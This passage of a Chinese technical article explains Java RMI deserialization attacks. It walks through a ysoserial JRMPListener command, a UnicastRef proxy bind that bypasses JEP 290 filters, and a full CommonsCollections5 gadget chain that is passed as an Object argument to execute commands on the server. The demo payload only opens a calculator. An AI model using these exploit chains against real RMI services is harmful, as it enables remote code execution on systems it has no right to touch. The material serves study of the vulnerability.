JAVA RMI反序列化知识详解

和payload发起RMI Registry请求代码是一样的。

先用ysoserial启动RMI registry java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"

然后把这个payload放在服务端bind看下

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
            TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1199);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{
                    Registry.class
            }, obj);
            registry.bind("hello", proxy);

在服务端执行RMI registry的计算器就弹出来了,debug RMI registry代码看下.

调用栈

read:291, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 168016515 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

原理就是利用在白名单的UnicastRef类来发起一个RMI连接,在高版本jdk下ysoserial的JRMPListener依然可以利用.

用Object绕JEP290限制

JEP290只是为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器,在RMI客户端和服务端在通信时参数传递这块是没有做处理的,而参数传递也是基于序列化数据传输,那么如果参数是泛型的payload,传输依然会有问题。

先把接口都新增一个sayPayload的方法,参数都是Object类型的

import java.rmi.Remote;
​
public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
    public Object sayPayload(Object from) throws java.rmi.RemoteException;
}

在把服务端HelloImpl代码改下,去实现这个方法。

import java.rmi.server.UnicastRemoteObject;
​
public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }
​
    public String sayHello(String from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return "sayHello";
    }
​
    public Object sayPayload(Object from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return null;
    }
}

客户端在调用这个sayPayload方法时直接传payload看下

public class HelloClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            HelloInterface hello = (HelloInterface) registry.lookup("hello1");
​
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"open /Applications/Calculator.app"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
            BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
            Field valfield = poc.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(poc, entry);
            
            hello.sayPayload(poc);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行后服务端计算器直接弹出,如果把这个payload作为sayPayload方法的返回值 客户端计算器也会弹出。

看下反序列化的地方

sun.rmi.server.UnicastRef#marshalValue